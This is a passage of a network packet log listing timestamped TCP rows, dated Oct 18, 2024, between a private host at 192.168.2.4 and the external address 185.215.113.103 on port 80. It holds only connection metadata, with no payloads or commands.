Oct 18, 2024 15:04:10.203499079 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.203509092 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.203520060 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.203538895 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.203550100 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.203583956 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.204226971 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.204240084 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.204251051 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.204277992 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.204297066 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.205354929 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.205370903 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.205382109 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.205420971 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.205437899 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.205837965 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.205848932 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.205861092 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.205883026 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.205909014 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.206828117 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.206842899 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.206854105 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.206886053 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.206916094 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.207758904 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.207784891 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.207824945 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.668896914 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.668956041 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.668966055 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.669025898 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.669118881 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.669392109 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.669404030 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.669413090 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.669425011 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.669441938 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.669461012 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.670588017 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.670600891 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.670609951 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.670620918 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.670641899 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.670660973 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.671449900 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.671463013 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.671473026 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.671483994 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.671494007 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.671509981 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.671526909 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.672739029 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.672751904 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.672761917 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.672771931 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.672807932 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.672822952 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.673357010 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.673369884 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.673374891 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.673379898 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.673388958 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.673429966 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.673455954 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.674452066 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.674464941 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.674474001 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.674484968 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.674510956 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.674525023 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.675178051 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.675189972 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.675199032 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.675209045 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.675218105 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.675236940 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.675256014 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.676022053 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.676034927 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.676044941 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.676057100 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.676067114 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.676079988 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.676095963 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.676126003 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.677040100 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.677052975 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.677062988 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.677074909 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.677084923 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.677090883 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.677094936 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.677110910 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.677146912 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.678093910 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.678107977 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.678117990 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.678128958 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.678138971 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.678150892 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.678189993 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.678883076 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.678896904 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.678905964 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.678915977 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.678925991 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.678932905 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.678936958 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.678978920 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.678999901 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.678999901 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.680157900 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.680171013 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.680181026 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.680191994 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.680202961 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.680213928 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.680231094 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.680247068 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.681771994 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.681785107 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.681797028 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.681807995 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.681818008 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.681844950 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.681864023 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.683501005 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.683515072 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.683525085 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.683537006 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.683546066 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.683557987 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.683564901 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.683600903 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.684449911 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.684463024 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.684473991 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.684509993 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.684520960 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.686122894 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.686136007 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.686184883 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.686337948 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.686350107 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.686359882 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.686371088 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.686386108 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.686414003 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.687191010 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.687202930 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.687212944 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.687232971 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.687264919 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.688776016 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.688790083 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.688801050 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.688853979 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.689431906 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.689444065 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.689454079 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.689465046 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.689475060 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.689475060 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.689516068 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.689924955 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.689938068 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.689948082 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.689959049 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.689969063 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.690000057 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.692219973 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.692579985 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.693145990 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.693177938 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.693186045 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.693206072 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.693248034 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.693248034 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.694804907 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.694819927 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.694829941 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.694840908 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.694868088 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.694900036 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.695867062 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.695882082 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.695892096 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.695903063 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.695913076 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.695928097 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.695955038 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.697607994 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.697623014 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.697665930 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.697829962 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.697843075 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.697851896 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.697863102 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.697871923 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.697879076 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.697911024 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.699007988 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.699019909 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.699029922 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.699069977 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.699110985 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.702147961 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.702162027 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.702171087 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.702182055 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.702193022 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.702214003 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.702239990 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.705238104 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.705254078 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.705265045 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.705276966 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.705310106 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.705327034 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.706243038 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.706255913 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.706267118 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.706279039 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.706290007 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.706407070 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.708714008 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.708725929 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.708736897 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.708748102 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.708779097 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.708802938 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.709603071 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.709615946 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.709626913 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.709640980 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.709651947 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.709660053 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.709691048 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.712507963 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.712522984 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.712534904 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.712547064 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.712573051 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.712599039 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.712868929 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.712882042 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.712893009 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.712923050 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.712934971 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.712944031 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.715868950 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.715882063 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.715892076 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.715902090 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.715944052 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.715965986 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.716089010 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.716099977 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.716109991 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.716120958 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.716130972 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.716135979 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.716166973 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.718859911 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.719137907 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.719150066 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.719160080 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.719166040 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.719238043 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.720212936 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.720226049 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.720236063 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.720247030 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.720256090 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.720302105 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.722018003 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.722035885 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.722045898 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.722057104 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.722075939 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.722100973 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.722726107 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.722737074 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.722747087 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.722757101 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.722779036 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.722804070 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.723449945 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.723463058 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.723473072 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.723484993 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.723495007 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.723505020 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.723505974 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.723521948 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.723545074 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.724422932 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.724435091 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.724445105 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.724452019 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.724462032 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.724473953 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.724492073 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.724510908 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.725841999 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.725869894 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.725882053 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.725892067 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.725903034 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.725902081 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.725925922 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.725953102 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.726883888 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.726922035 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.726938009 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.726960897 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.726970911 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.726970911 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.726996899 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.727005959 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.728060961 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.728074074 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.728084087 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.728096008 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.728105068 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.728115082 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.728116989 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.728146076 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.728161097 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.729114056 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.729126930 CEST	80	49799	185.215.113.103	192.168.2.4
